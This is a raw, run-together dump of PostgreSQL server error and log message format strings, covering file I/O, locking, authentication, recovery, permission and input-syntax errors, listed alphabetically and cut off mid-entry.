could not get address of socket for statistics collector: %mcould not get peer credentials: %mcould not identify a comparison function for type %scould not identify an equality operator for type %scould not identify an ordering operator for type %scould not identify column "%s" in record data typecould not identify current directory: %scould not implement DISTINCTcould not implement GROUP BYcould not implement recursive UNIONcould not implement window ORDER BYcould not implement window PARTITION BYcould not initialize LDAP: error code %dcould not initialize SSL connection: %scould not link file "%s" to "%s" (initialization of log file %u, segment %u): %mcould not link file "%s" to "%s": %mcould not listen on %s socket: %mcould not load function _ldap_start_tls_sA in wldap32.dllcould not load library "%s": %scould not load private key file "%s": %scould not load root certificate file "%s": %scould not load server certificate file "%s": %scould not load wldap32.dllcould not locate a valid checkpoint recordcould not locate required checkpoint recordcould not lock semaphore: error code %dcould not make operator class "%s" be default for type %scould not map view of backend variables: error code %d
could not obtain lock on relation "%s"could not obtain lock on relation with OID %ucould not obtain lock on row in relation "%s"could not open Ident usermap file "%s": %mcould not open archive status directory "%s": %mcould not open configuration file "%s": %mcould not open configuration file "%s": maximum nesting depth exceededcould not open control file "%s": %mcould not open directory "%s": %mcould not open directory "%s": %s
could not open file "%s" (log file %u, segment %u): %mcould not open file "%s" for reading: %mcould not open file "%s" for writing: %mcould not open file "%s": %mcould not open lock file "%s": %mcould not open new log file "%s": %mcould not open process token: error code %d
could not open recovery command file "%s": %mcould not open secondary authentication file "@%s" as "%s": %mcould not open server file "%s": %mcould not open tablespace directory "%s": %mcould not open temporary statistics file "%s": %mcould not open transaction log directory "%s": %mcould not open two-phase state file "%s": %mcould not parse setting for parameter "%s"could not parse transaction log location "%s"could not read binary "%s"could not read block %ld of temporary file: %mcould not read directory "%s": %mcould not read directory "%s": %s
could not read file "%s": %mcould not read from COPY file: %mcould not read from backend variables file "%s": %s
could not read from control file: %mcould not read from file "%s": %mcould not read from hash-join temporary file: %mcould not read from log file %u, segment %u, offset %u: %mcould not read from logger pipe: %mcould not read lock file "%s": %mcould not read permissions of directory "%s": %mcould not read server file "%s": %mcould not read statistics message: %mcould not read symbolic link "%s"could not read time zone file "%s": %mcould not read two-phase state file "%s": %mcould not receive data from client: %mcould not receive response from Ident server at address "%s", port %s: %mcould not receive test message on socket for statistics collector: %mcould not recreate two-phase state file "%s": %mcould not redirect stderr: %mcould not redirect stdout: %mcould not release PAM authenticator: %scould not remove directory "%s": %mcould not remove file "%s": %mcould not remove file "%s": %s
could not remove file or directory "%s": %s
could not remove old lock file "%s": %mcould not remove symbolic link "%s": %mcould not remove two-phase state file "%s": %mcould not rename file "%s" to "%s" (initialization of log file %u, segment %u): %mcould not rename file "%s" to "%s": %mcould not rename temporary statistics file "%s" to "%s": %mcould not reopen file "%s" as stderr: %mcould not reopen file "%s" as stdout: %mcould not reposition held cursorcould not resolve "localhost": %scould not restore file "%s" from archive: return code %dcould not rewind hash-join temporary file: %mcould not seek in file "%s": %mcould not seek in log file %u, segment %u to offset %u: %mcould not seek in two-phase state file: %mcould not send data to client: %mcould not send query to Ident server at address "%s", port %s: %mcould not send signal to process %d: %mcould not send test message on socket for statistics collector: %mcould not serialize access due to concurrent updatecould not set LDAP protocol version: error code %dcould not set SSL socket: %scould not set group of file "%s": %mcould not set junction for "%s": %scould not set junction for "%s": %s
could not set permissions of file "%s": %mcould not set permissions on directory "%s": %mcould not set statistics collector socket to nonblocking mode: %mcould not start LDAP TLS session: error code %dcould not stat data directory "%s": %mcould not stat directory "%s": %mcould not stat file "%s": %mcould not stat two-phase state file "%s": %mcould not translate host name "%s", service "%s" to address: %scould not translate service "%s" to address: %scould not truncate directory "%s": apparent wraparoundcould not try-lock semaphore: error code %dcould not unlock semaphore: error code %dcould not unmap view of backend variables: error code %d
could not write archive status file "%s": %mcould not write block %ld of temporary file: %mcould not write bootstrap transaction log file: %mcould not write file "%s": %mcould not write lock file "%s": %mcould not write server file "%s": %mcould not write temporary statistics file "%s": %mcould not write to COPY file: %mcould not write to control file: %mcould not write to file "%s": %mcould not write to hash-join temporary file: %mcould not write to log file %u, segment %u at offset %u, length %lu: %mcould not write to log file: %s
could not write to temporary file "%s": %mcould not write two-phase state file: %mcount must be greater than zerocross-database references are not implemented: "%s.%s.%s"cross-database references are not implemented: %scurrent transaction is aborted, commands ignored until end of transaction blockcurrent user cannot be droppedcurrent user cannot be renamedcurrval of sequence "%s" is not yet defined in this sessioncursor "%s" already existscursor "%s" does not existcursor "%s" does not have a FOR UPDATE/SHARE reference to table "%s"cursor "%s" has multiple FOR UPDATE/SHARE references to table "%s"cursor "%s" is held from a previous transactioncursor can only scan forwarddata directory "%s" does not existdata directory "%s" has group or world accessdata directory "%s" has wrong ownershipdata type %s has no default operator class for access method "%s"database "%s" already existsdatabase "%s" does not existdatabase "%s" does not exist, skippingdatabase "%s" has disappeared from pg_databasedatabase "%s" is being accessed by other usersdatabase "%s" is not currently accepting connectionsdatabase "%s" must be vacuumed within %u transactionsdatabase %sdatabase files are incompatible with serverdatabase hash table corrupted during cleanup --- abortdatabase is not accepting commands to avoid wraparound data loss in database "%s"database name cannot be qualifieddatabase system is shut downdatabase system shutdown was interrupted; last known up at %sdatabase system was interrupted while in recovery at %sdatabase system was interrupted while in recovery at log time %sdatabase system was interrupted; last known up at %sdatabase system was not properly shut down; automatic recovery in progressdatabase system was shut down at %sdatabase with OID %u does not existdate out of range: "%s"date/time field value out of range: "%s"date/time value "%s" is no longer supporteddate/time value "current" is no longer supporteddeadlock detecteddefault conversion for %s to %s already existsdefault conversion function for encoding "%s" to "%s" does not existdefault expression must not return a setdefault for %sdefaulting grantor to user ID %udependent privileges existdestination encoding "%s" does not existdimension array or low bound array cannot be NULLdirectory "%s" is not emptydisabling automatic rotation (use SIGHUP to reenable)disabling statistics collector for lack of working socketdisconnection: session time: %d:%02d:%02d.%03d user=%s database=%s host=%s%s%sdivision by zerodomain %s does not allow null valuesdrop auto-cascades to %sdrop cascades to %sduration: %s msduration: %s ms  bind %s%s%s: %sduration: %s ms  fastpath function call: "%s" (OID %u)duration: %s ms  parse %s: %sduration: %s ms  statement: %seach %s query must have the same number of columnsempty password returned by clientencoding conversion from %s to ASCII not supportedencoding name too longend-of-copy marker corruptend-of-copy marker does not match previous newline styleend-of-line before IP address specificationend-of-line before database specificationend-of-line before netmask specificationend-of-line before role specificationerror from underlying PAM layer: %sevent qualifications are not implemented for rules on SELECTexecuteexecute fetch fromexpected a left parenthesisexpected a right parenthesisexpected a type nameexpected password response, got message type %dextension of relation %u of database %uextra data after last expected columnextra garbage at the end of the ACL specificationfailed to send SSL negotiation response: %mfailed to send signal to postmaster: %mfastpath function call: "%s" (OID %u)field position must be greater than zerofile "%s" doesn't exist, reading as zeroesfixed-size types must have storage PLAINfloating-point exceptionfor SELECT DISTINCT, ORDER BY expressions must appear in select listforeign key constraint "%s" cannot be implementedforeign key constraints not possible for domainsforeign-data wrapper %sframe end cannot be UNBOUNDED PRECEDINGframe start cannot be UNBOUNDED FOLLOWINGfree space map contains %d pages in %d relationsfunction "%s" already exists in schema "%s"function "%s" already exists with same argument typesfunction "%s" does not existfunction "%s" in FROM has unsupported return type %sfunction "%s" is already in schema "%s"function "%s" must be fired AFTER ROWfunction "%s" must be fired for DELETEfunction "%s" must be fired for INSERTfunction "%s" must be fired for INSERT or UPDATEfunction "%s" must be fired for UPDATEfunction "%s" was not called by trigger managerfunction "close_lb" not implementedfunction "dist_lb" not implementedfunction "path_center" not implementedfunction "poly_distance" not implementedfunction %sfunction %s already exists in schema "%s"function %s does not existfunction %s is not an aggregatefunction %s is not uniquefunction %s must return type "language_handler"function %s must return type "trigger"function %s requires run-time type coercionfunction %s returns a setfunction %s(%s) does not exist, skippingfunction %u has too many arguments (%d, maximum is %d)function call message contains %d argument formats but %d argumentsfunction call message contains %d arguments but function requires %dfunction result type must be %s because of OUT parametersfunction result type must be specifiedfunction return row and query-specified return row do not matchfunction returning set of rows cannot return null valuefunction with OID %u does not existfunctions and operators can take at most one set argumentfunctions cannot accept set argumentsfunctions in index expression must be marked IMMUTABLEfunctions in index predicate must be marked IMMUTABLEglobal tablespace never has databasesgrant options can only be granted to rolesgrant options cannot be granted back to your own grantorgroup "%s" does not existhash indexes do not support whole-index scanshour "%d" is invalid for the 12-hour clockident, krb5, gssapi, sspi and certidentifier too longimproper %%TYPE reference (too few dotted names): %simproper %%TYPE reference (too many dotted names): %simproper binary format in array element %dimproper binary format in record column %dimproper qualified name (too many dotted names): %simproper relation name (too many dotted names): %simproper type nameimproper use of "*"incompatible library "%s": magic block mismatchincompatible library "%s": missing magic blockincompatible library "%s": version mismatchincomplete message from clientincomplete startup packetinconsistent types deduced for parameter $%dinconsistent use of year %04d and "BC"incorrect binary data formatincorrect binary data format in bind parameter %dincorrect binary data format in function argument %dincorrect checksum in control fileincorrect hole size in record at %X/%Xincorrect resource manager data checksum in record at %X/%Xincorrect test message transmission on socket for statistics collectorincorrect total length in record at %X/%Xindex "%s" contains %.0f row versions, but table contains %.0f row versionsindex "%s" contains corrupted page at block %uindex "%s" contains unexpected zero page at block %uindex "%s" does not existindex "%s" does not exist, skippingindex "%s" for table "%s" does not existindex "%s" has wrong hash versionindex "%s" is not a btreeindex "%s" is not a hash indexindex "%s" needs VACUUM FULL or REINDEX to finish crash recoveryindex "%s" needs VACUUM or REINDEX to finish crash recoveryindex "%s" now contains %.0f row versions in %u pagesindex %d out of valid range, 0..%dindex %sindex %u/%u/%u needs VACUUM FULL or REINDEX to finish crash recoveryindex expressions and predicates can refer only to the table being indexedindex row requires %lu bytes, maximum size is %luindex row size %lu exceeds hash maximum %luinfinite recursion detected in rules for relation "%s"inherited column "%s" has a type conflictinherited column "%s" must be renamed in child tables tooinherited relation "%s" is not a tableinput is out of rangeinput of anonymous composite types is not implementedinput parameters after one with a default value must also have defaultsinsert or update on table "%s" violates foreign key constraint "%s"insufficient data left in messageinsufficient file descriptors available to start server processinsufficient shared memory for free space mapint2vector has too many elementsinteger out of rangeinternal error: unrecognized run-time parameter type
internal function "%s" is not in internal lookup tableinternal size %d is invalid for passed-by-value typeinterval field value out of range: "%s"interval out of rangeinterval precision specified twiceinterval time zone "%s" must not specify monthinterval units "%s" not recognizedinterval units "%s" not supportedinterval(%d) precision must be between %d and %dinvalid CLOSE message subtype %dinvalid COPY file header (missing flags)invalid COPY file header (missing length)invalid COPY file header (wrong length)invalid DESCRIBE message subtype %dinvalid Datum pointerinvalid INTERVAL type modifierinvalid NUMERIC type modifierinvalid OID in COPY datainvalid OWNED BY optioninvalid UNION/INTERSECT/EXCEPT ORDER BY clauseinvalid XML processing instructioninvalid address family in external "%s" valueinvalid argument for %s: "%s"invalid argument size %d in function call messageinvalid array flagsinvalid array for XML namespace mappinginvalid binary "%s"invalid bits in external "%s" valueinvalid byte sequence for encoding "%s": 0x%sinvalid byte value for encoding "%s": 0x%02xinvalid checkpoint link in backup_label fileinvalid checkpoint recordinvalid cidr value: "%s"invalid command-line arguments for server processinvalid contrecord length %u in log file %u, segment %u, offset %uinvalid cursor name: must not be emptyinvalid data in file "%s"invalid data in history file "%s"invalid data in history file: %sinvalid database name "%s"invalid destination encoding name "%s"invalid digit in external "numeric" valueinvalid encoding number: %dinvalid end sequenceinvalid escape stringinvalid external "cidr" valueinvalid field sizeinvalid format specification for an interval valueinvalid frontend message type %dinvalid hexadecimal data: odd number of digitsinvalid hexadecimal digit: "%c"invalid info bits %04X in log file %u, segment %u, offset %uinvalid input syntax for integer: "%s"invalid input syntax for type %s: "%s"invalid input syntax for type boolean: "%s"invalid input syntax for type box: "%s"invalid input syntax for type byteainvalid input syntax for type circle: "%s"invalid input syntax for type double precision: "%s"invalid input syntax for type line: "%s"invalid input syntax for type lseg: "%s"invalid input syntax for type macaddr: "%s"invalid input syntax for type money: "%s"invalid input syntax for type numeric: "%s"invalid input syntax for type oid: "%s"invalid input syntax for type path: "%s"invalid input syntax for type point: "%s"invalid input syntax for type polygon: "%s"invalid input syntax for type real: "%s"invalid input syntax for type tid: "%s"invalid input syntax for type tinterval: "%s"invalid int2vector datainvalid interval value for time zone: day not allowedinvalid interval value for time zone: month not allowedinvalid large-object descriptor: %dinvalid length in external "%s" valueinvalid length in external "numeric" valueinvalid length in external bit stringinvalid length of checkpoint recordinvalid length of primary checkpoint recordinvalid length of secondary checkpoint recordinvalid length of startup packetinvalid list syntax for "listen_addresses"invalid list syntax for parameter "datestyle"invalid list syntax for parameter "log_destination"invalid list syntax in parameter "%s"invalid macro name in dynamic library path: %sinvalid magic number %04X in log file %u, segment %u, offset %uinvalid mask length: %dinvalid message formatinvalid message lengthinvalid mode character: must be one of "%s"invalid multibyte character for localeinvalid name syntaxinvalid next transaction IDinvalid number for time zone offset in time zone file "%s", line %dinvalid number of dimensions: %dinvalid number of points in external "path" valueinvalid number of points in external "polygon" valueinvalid octet value in "macaddr" value: "%s"invalid oidvector datainvalid operator number %d, must be between 1 and %dinvalid password packet sizeinvalid primary checkpoint link in control fileinvalid primary checkpoint recordinvalid privilege type %s for databaseinvalid privilege type %s for functioninvalid privilege type %s for languageinvalid privilege type %s for relationinvalid privilege type %s for schemainvalid privilege type %s for sequenceinvalid privilege type %s for tablespaceinvalid privilege type USAGE for tableinvalid procedure number %d, must be between 1 and %dinvalid radius in external "circle" valueinvalid record length at %X/%Xinvalid record offset at %X/%Xinvalid redo in checkpoint recordinvalid reference to FROM-clause entry for table "%s"invalid regular expression: %sinvalid resource manager ID %u at %X/%Xinvalid resource manager ID in checkpoint recordinvalid resource manager ID in primary checkpoint recordinvalid resource manager ID in secondary checkpoint recordinvalid role OID: %uinvalid role name "%s"invalid role password "%s"invalid secondary checkpoint link in control fileinvalid secondary checkpoint recordinvalid server encoding %dinvalid sign in external "numeric" valueinvalid source encoding name "%s"invalid startup packet layout: expected terminator as last byteinvalid statement name: must not be emptyinvalid status in external "tinterval" valueinvalid storage type "%s"invalid string in messageinvalid symbolinvalid syntax in time zone file "%s", line %dinvalid time zone file name "%s"invalid time zone name: "%s"invalid type category "%s": must be simple ASCIIinvalid type internal size %dinvalid type name "%s"invalid value for parameter "%s": "%s"invalid value for parameter "%s": %dinvalid value for parameter "%s": %ginvalid xl_info in checkpoint recordinvalid xl_info in primary checkpoint recordinvalid xl_info in secondary checkpoint recordinvalid xlog switch record at %X/%Xinvalidly formatted response from Ident server: "%s"krb5, gssapi and sspilanguage "%s" already existslanguage "%s" does not existlanguage "%s" does not exist, skippinglanguage "%s" is not trustedlanguage %slanguage name cannot be qualifiedlanguage with OID %u does not existlarge object %u does not existlarge object %u was not opened for writinglarge object descriptor %d was not opened for writinglastval is not yet defined in this sessionlength for type %s cannot exceed %dlength for type %s must be at least 1libxml2 has incompatible char type: sizeof(char)=%u, sizeof(xmlChar)=%u.line is too long in time zone file "%s", line %dliteral carriage return found in dataliteral newline found in dataloaded library "%s"local user with ID %d does not existlock file "%s" already existslock violationlogger shutting downlower and upper bounds must be finitelower bound cannot equal upper boundlowering statistics target to %dmake sure the root certificate store is present and readablemalformed array literal: "%s"malformed record literal: "%s"mapped win32 error code %lu to %dmax_fsm_pages must exceed max_fsm_relations * %dmaximum number of prepared transactions reachedmerging column "%s" with inherited definitionmerging definition of column "%s" for child "%s"merging multiple inherited definitions of column "%s"misplaced DEFERRABLE clausemisplaced INITIALLY DEFERRED clausemisplaced INITIALLY IMMEDIATE clausemisplaced NOT DEFERRABLE clausemissing "=" signmissing "]" in array dimensionsmissing FROM-clause entry for table "%s"missing argumentmissing assignment operatormissing data for OID columnmissing data for column "%s"missing dimension valuemissing entry in file "%s" at end of line %dmissing error textmissing namemissing or erroneous pg_hba.conf filemissing time zone abbreviation in time zone file "%s", line %dmissing time zone offset in time zone file "%s", line %dmore than one function named "%s"more than one operator named %smore than one row returned by a subquery used as an expressionmultidimensional arrays must have array expressions with matching dimensionsmultiple DEFERRABLE/NOT DEFERRABLE clauses not allowedmultiple INITIALLY IMMEDIATE/DEFERRED clauses not allowedmultiple LIMIT clauses not allowedmultiple OFFSET clauses not allowedmultiple ORDER BY clauses not allowedmultiple StopWords parametersmultiple actions for rules on SELECT are not implementedmultiple assignments to same column "%s"multiple decimal pointsmultiple default expressionsmultiple default values specified for column "%s" of table "%s"multiple primary keys for table "%s" are not allowedmust be member of role "%s"must be member of role "%s" to comment upon itmust be owner of conversion %smust be owner of database %smust be owner of function %smust be owner of language %smust be owner of operator %smust be owner of operator class %smust be owner of relation %smust be owner of schema %smust be owner of sequence %smust be owner of tablespace %smust be owner of type %smust be owner of type %s or type %smust be superuser to COPY to or from a filemust be superuser to alter superusersmust be superuser to comment on procedural languagemust be superuser to create a cast WITHOUT FUNCTIONmust be superuser to create an operator classmust be superuser to create superusersmust be superuser to do CHECKPOINTmust be superuser to drop superusersmust be superuser to examine "%s"must be superuser to get directory listingsmust be superuser to get file informationmust be superuser to read filesmust be superuser to rename superusersmust be superuser to reset statistics countersmust be superuser to rotate log filesmust be superuser to run a backupmust be superuser to set grantormust be superuser to signal other server processesmust be superuser to signal the postmastermust be superuser to switch transaction log filesmust be superuser to use server-side lo_export()must be superuser to use server-side lo_import()must have admin option on role "%s"must not omit initial value when transition function is strict and transition type is not compatible with input typemust request at least 2 pointsmust specify at least one columnnegative substring length not allowedneither input type is an arrayneither namespace name nor URI may be nullnew LC_CTYPE (%s) is incompatible with the LC_CTYPE of the template database (%s)new bit must be 0 or 1new collation (%s) is incompatible with the collation of the template database (%s)new encoding (%s) is incompatible with the encoding of the template database (%s)new row for relation "%s" violates check constraint "%s"next MultiXactId: %u; next MultiXactOffset: %unext transaction ID: %u/%u; next OID: %unextval: reached maximum value of sequence "%s" (%s)nextval: reached minimum value of sequence "%s" (%s)no PostgreSQL user name specified in startup packetno SSL error reportedno Snowball stemmer available for language "%s" and encoding "%s"no binary input function available for type %sno binary output function available for type %sno column alias was providedno data left in messageno empty local buffer availableno function body specifiedno input function available for type %sno language specifiedno match in usermap for user "%s" authenticated as "%s"no output function available for type %sno pg_hba.conf entry for host "%s", user "%s", database "%s"no pg_hba.conf entry for host "%s", user "%s", database "%s", %sno privileges could be revoked for "%s"no privileges could be revoked for column "%s" of relation "%s"no privileges were granted for "%s"no privileges were granted for column "%s" of relation "%s"no roles are defined in this database systemno schema has been selected to create inno socket created for listeningno such savepointno value found for parameter %dnon-integer constant in %snonstandard use of \' in a string literalnonstandard use of \\ in a string literalnonstandard use of escape in a string literalnot all privileges could be revoked for "%s"not all privileges could be revoked for column "%s" of relation "%s"not all privileges were granted for "%s"not an XML documentnot enough data in file "%s"not enough shared memory for background writernot unique "S"null OID in COPY datanull array element not allowed in this contextnull character not permittednull value in column "%s" violates not-null constraintnumber of aliases does not match number of columnsnumber of array dimensions (%d) exceeds the maximum allowed (%d)number of columns (%d) exceeds limit (%d)number of columns does not match number of valuesnumber of index columns (%d) exceeds limit (%d)number of referencing and referenced columns for foreign key disagreenumeric field overflowobject %u of class %u of database %uoidvector has too many elementsoldest xmin is far in the pastonline backup mode cancelledonline backup mode was not cancelledonly binary operators can hashonly binary operators can have commutatorsonly binary operators can have join selectivityonly binary operators can merge joinonly one AS item needed for language "%s"only shared relations can be placed in pg_global tablespaceonly table "%s" can be referenced in check constraintop ANY/ALL (array) does not support set argumentsop ANY/ALL (array) requires array on right sideop ANY/ALL (array) requires operator not to return a setop ANY/ALL (array) requires operator to yield booleanopen path cannot be converted to polygonoperating system error %doperator %soperator %s already existsoperator %s does not exist, skippingoperator argument types must be specified in ALTER OPERATOR FAMILYoperator attribute "%s" not recognizedoperator cannot be its own negator or sort operatoroperator class "%s" does not accept data type %soperator class "%s" does not exist for access method "%s"operator class "%s" for access method "%s" already existsoperator class "%s" for access method "%s" already exists in schema "%s"operator class %s for access method %soperator class with OID %u does not existoperator does not exist: %soperator is not unique: %soperator procedure must be specifiedoperator requires run-time type coercion: %soperator too longoperator with OID %u does not existout of file descriptors: %m; release and retryout of memoryout of memory
out of overflow pages in hash index "%s"out of shared memoryout-of-sequence timeline ID %u (after %u) in log file %u, segment %u, offset %uowner of %spage %u of relation %u of database %upam_acct_mgmt failed: %spam_authenticate failed: %spam_set_item(PAM_CONV) failed: %spam_set_item(PAM_USER) failed: %sparameter "%s" cannot be changedparameter "%s" cannot be changed nowparameter "%s" cannot be set after connection startparameter "%s" requires a Boolean valueparameter "%s" requires a numeric valueparameter $%d of type %s cannot be coerced to the expected type %sparameters: %sparse %s: %spassword authentication failed for user "%s"permission deniedpermission denied for conversion %spermission denied for database "%s"permission denied for database %spermission denied for function %spermission denied for language %spermission denied for operator %spermission denied for operator class %spermission denied for relation %spermission denied for schema %spermission denied for sequence %spermission denied for tablespace %spermission denied for type %spermission denied to change owner of databasepermission denied to copy database "%s"permission denied to create "%s.%s"permission denied to create databasepermission denied to create rolepermission denied to create tablespace "%s"permission denied to create temporary tables in database "%s"permission denied to drop objectspermission denied to drop rolepermission denied to finish prepared transactionpermission denied to reassign objectspermission denied to rename databasepermission denied to rename rolepermission denied to set parameter "%s"permission denied to set role "%s"permission denied to set session authorizationpermission denied: "%s" is a system catalogpermission denied: "%s" is a system triggerpg_hba.conf not reloadedpg_stop_backup still waiting for archive to complete (%d seconds elapsed)picksplit method for column %d of index "%s" failedpoll() failed in statistics collector: %mportal "%s" cannot be runportal "%s" does not existpre-existing shared memory block (key %lu, ID %lu) is still in useprecision for type float must be at least 1 bitprecision for type float must be less than 54 bitsprepare: %sprepared statement "%s" already existsprepared statement "%s" does not existprepared statement is not a SELECTprepared transaction with identifier "%s" does not existprepared transaction with identifier "%s" is busyprimary key constraints not possible for domainsprimary keys cannot be expressionsprocess %d acquired %s on %s after %ld.%03d msprocess %d avoided deadlock for %s on %s by rearranging queue order after %ld.%03d msprocess %d detected deadlock while waiting for %s on %s after %ld.%03d msprocess %d failed to acquire %s on %s after %ld.%03d msprovided username (%s) and authenticated username (%s) don't matchreceived SIGHUP, reloading configuration filesreceived fast shutdown requestreceived immediate shutdown requestreceived password packetreceived smart shutdown requestrecord length %u at %X/%X too longrecord type has not been registeredrecord with incorrect prev-link %X/%X at %X/%Xrecord with zero length at %X/%Xrecovering prepared transaction %urecovery command file "%s" did not specify restore_commandrecovery restart point at %X/%Xrecovery stopping after abort of transaction %u, time %srecovery stopping after commit of transaction %u, time %srecovery stopping before abort of transaction %u, time %srecovery stopping before commit of transaction %u, time %srecovery_target_inclusive = %srecovery_target_timeline = %urecovery_target_timeline = latestrecovery_target_timeline is not a valid number: "%s"recovery_target_xid = %urecovery_target_xid is not a valid number: "%s"recursive query "%s" column %d has type %s in non-recursive term but type %s overallrecursive query "%s" does not have the form non-recursive-term UNION [ALL] recursive-termrecursive reference to query "%s" must not appear within EXCEPTrecursive reference to query "%s" must not appear within INTERSECTrecursive reference to query "%s" must not appear within a subqueryrecursive reference to query "%s" must not appear within an outer joinrecursive reference to query "%s" must not appear within its non-recursive termrecycled transaction log file "%s"redo done at %X/%Xredo is not requiredredo starts at %X/%Xredo starts at %X/%X, consistency will be reached at %X/%Xreference to parent directory ("..") not allowedreferenced relation "%s" is not a tablereferential integrity query on "%s" from constraint "%s" on "%s" gave unexpected resultregexp_split does not support the global optionregular expression "%s" has no subexpressions as requested by backreference in "%s"regular expression failed: %sregular-expression matching not supported on type bytearelation "%s" already existsrelation "%s" already exists in schema "%s"relation "%s" does not existrelation "%s" in FOR UPDATE/SHARE clause not found in FROM clauserelation "%s" is already in schema "%s"relation "%s" is not a parent of relation "%s"relation "%s" page %u is uninitialized --- fixingrelation "%s.%s" does not existrelation %srelation %u of database %urelation with OID %u does not existrelative path not allowed for COPY to fileremoving built-in function "%s"removing corrupt two-phase state file "%s"removing file "%s"removing future two-phase state file "%s"removing stale two-phase state file "%s"removing transaction log backup history file "%s"removing transaction log file "%s"requested character too large for encoding: %drequested length too largerequested recovery stop point is before consistent recovery pointrequested shared memory size overflows size_trequested timeline %u is not a child of database system timeline %ureservedreserved (can be function or type name)restored log file "%s" from archiveresult is out of rangeretrieving GSS user name failedreturn type %s is not supported for SQL functionsreturn type %s is only a shellreturn type mismatch in function declared to return %sreturn type of transition function %s is not %srole "%s" already existsrole "%s" cannot be dropped because some objects depend on itrole "%s" does not existrole "%s" does not exist, skippingrole "%s" is a member of role "%s"role "%s" is already a member of role "%s"role "%s" is not a member of role "%s"role "%s" is not permitted to log inrole %srole %u was concurrently droppedrole name "%s" is reservedrole name cannot be qualifiedrole with OID %u does not existrotation not possible because log collection not activerow comparison operator must not return a setrow comparison operator must yield type boolean, not type %srow field count is %d, expected %drow is too big: size %lu, maximum size %lurule "%s" does not existrule "%s" for relation "%s" already existsrule "%s" for relation "%s" does not existrule "%s" for relation "%s" does not exist, skippingrule "%s" has unsupported event type %drule %s on rule actions on NEW are not implementedrule actions on OLD are not implementedrules on SELECT must have action INSTEAD SELECTscanned index "%s" to remove %d row versionsschema "%s" already existsschema "%s" does not existschema "%s" does not exist, skippingschema %sschema name cannot be qualifiedschema with OID %u does not existsecond argument of cast function must be type integerselect() failed in logger process: %mselect() failed in postmaster: %mselect() failed in statistics collector: %mselected new timeline ID: %usequence "%s" does not existsequence "%s" does not exist, skippingsequence "%s" only supports SELECT column privilegessequence "%s" only supports USAGE, SELECT, and UPDATE privilegessequence %ssequence must be in same schema as table it is linked tosequence must have same owner as table it is linked toserver processsession user cannot be droppedsession user cannot be renamedset-valued function called in context that cannot accept a setsetsockopt(IPV6_V6ONLY) failed: %msetsockopt(SO_REUSEADDR) failed: %msetval: value %s is out of bounds for sequence "%s" (%s..%s)shared index "%s" can only be reindexed in stand-alone modeshared indexes cannot be created after initdbshared table "%s" can only be reindexed in stand-alone modeshared tables cannot be toasted after initdbsharing violationshutting downskipping "%s" --- cannot analyze indexes, views, or special system tablesskipping "%s" --- cannot vacuum indexes, views, or special system tablesskipping "%s" --- only table or database owner can analyze itskipping "%s" --- only table or database owner can vacuum itskipping restartpoint, recovery has already endedslices of fixed-length arrays not implementedsmallint out of rangesome databases have not been vacuumed in over 2 billion transactionssome useless files may be left behind in old database directory "%s"sorry, too many clients alreadysort operator can only be specified for single-argument aggregatessource and target data types are not physically compatiblesource array too smallsource data type %s is a pseudo-typesource data type and target data type are the samesource database "%s" is being accessed by other userssource encoding "%s" does not existsource string too short for "%s" formatting fieldspecifying constraint deferrability not supported for domainsstack depth limit exceededstandalone accepts only 'yes' or 'no'.starting archive recoverystartup processstatement: %sstatistics collector processstatistics target %d is too lowstorage "%s" not recognizedstorage type specified more than oncestring is too long for tsvector (%ld bytes, max %ld bytes)subfield "%s" is of type %s but expression is of type %ssubquery has too few columnssubquery has too many columnssubquery in FROM must have an aliassubquery must return a columnsubquery must return only one columnsubquery uses ungrouped column "%s.%s" from outer querysubstituting access method "gist" for obsolete method "rtree"subtransaction left non-empty SPI stacksuppress_redundant_updates_trigger: must be called as triggersuppress_redundant_updates_trigger: must be called before updatesuppress_redundant_updates_trigger: must be called for each rowsuppress_redundant_updates_trigger: must be called on updatesyntax errorsyntax error in file "%s" line %u, near end of linesyntax error in file "%s" line %u, near token "%s"syntax error in history file: %ssyntax error in recovery command file: %ssystem logger processtable "%s" does not existtable "%s" does not exist, skippingtable "%s" does not have OIDstable "%s" has %d columns available but %d columns specifiedtable "%s" has multiple constraints named "%s"table "%s" has no indexestable "%s" was reindexedtable "%s" without OIDs cannot inherit from table "%s" with OIDstable %stable name "%s" specified more than oncetable reference "%s" is ambiguoustable reference %u is ambiguoustable row type and query-specified row type do not matchtable-function protocol for materialize mode was not followedtables can have at most %d columnstablespace "%s" already existstablespace "%s" does not existtablespace "%s" does not exist, skippingtablespace "%s" is not emptytablespace %stablespace %u is not emptytablespace %u was concurrently droppedtablespace location "%s" is too longtablespace location must be an absolute pathtablespace name cannot be qualifiedtablespace with OID %u does not existtablespaces are not supported on this platformtarget data type %s is a pseudo-typetarget lists can have at most %d entriestarget type is not an arraytemplate database "%s" does not existtemporary file: path "%s", size %luterminating any other active server processesterminating connection because of crash of another server processterminating connection due to administrator commandtest message did not get through on socket for statistics collectortext search configuration name "%s" must be schema-qualifiedtext search dictionary %stext search parser %stext search parser does not support headline creationtext search parser end method is requiredtext search parser gettoken method is requiredtext search parser is requiredtext search parser lextypes method is requiredtext search parser start method is requiredtext search template %stext search template is requiredtext search template lexize method is requiredtext too long to convert to MAC addresstext-search query contains only stop words or doesn't contain lexemes, ignoredtext-search query doesn't contain lexemes: "%s"the database system is in recovery modethe database system is shutting downthe database system is starting upthere are multiple default operator classes for data type %sthere are multiple rules named "%s"there is already a transaction in progressthere is no built-in function named "%s"there is no contrecord flag in log file %u, segment %u, offset %uthere is no parameter $%dthere is no previously clustered index for table "%s"there is no primary key for referenced table "%s"there is no transaction in progressthere is no unique constraint matching given keys for referenced table "%s"thesaurus sample word "%s" is a stop word (rule %d)thesaurus sample word "%s" isn't recognized by subdictionary (rule %d)thesaurus substitute phrase is empty (rule %d)thesaurus substitute word "%s" is a stop word (rule %d)thesaurus substitute word "%s" isn't recognized by subdictionary (rule %d)third argument of cast function must be type booleantime zone "%s" appears to use leap secondstime zone "%s" not recognizedtime zone abbreviation "%s" is multiply definedtime zone abbreviation "%s" is too long (maximum %d characters) in time zone file "%s", line %dtime zone displacement out of range: "%s"time zone file recursion limit exceeded in file "%s"time zone interval must be HOUR or HOUR TO MINUTEtime zone offset %d is not a multiple of 900 sec (15 min) in time zone file "%s", line %dtime zone offset %d is out of range in time zone file "%s", line %dtimestamp out of rangetimestamp out of range: "%s"timestamp units "%s" not recognizedtimestamp units "%s" not supportedtimestamp with time zone units "%s" not recognizedtimestamp with time zone units "%s" not supportedtimestamp(%d) precision must be between %d and %dtoast table %stoo many argumentstoo many column aliases specified for function %stoo many connections for database "%s"too many connections for role "%s"too many points requestedtransaction %utransaction ID wrap limit is %u, limited by database "%s"transaction identifier "%s" is already in usetransaction 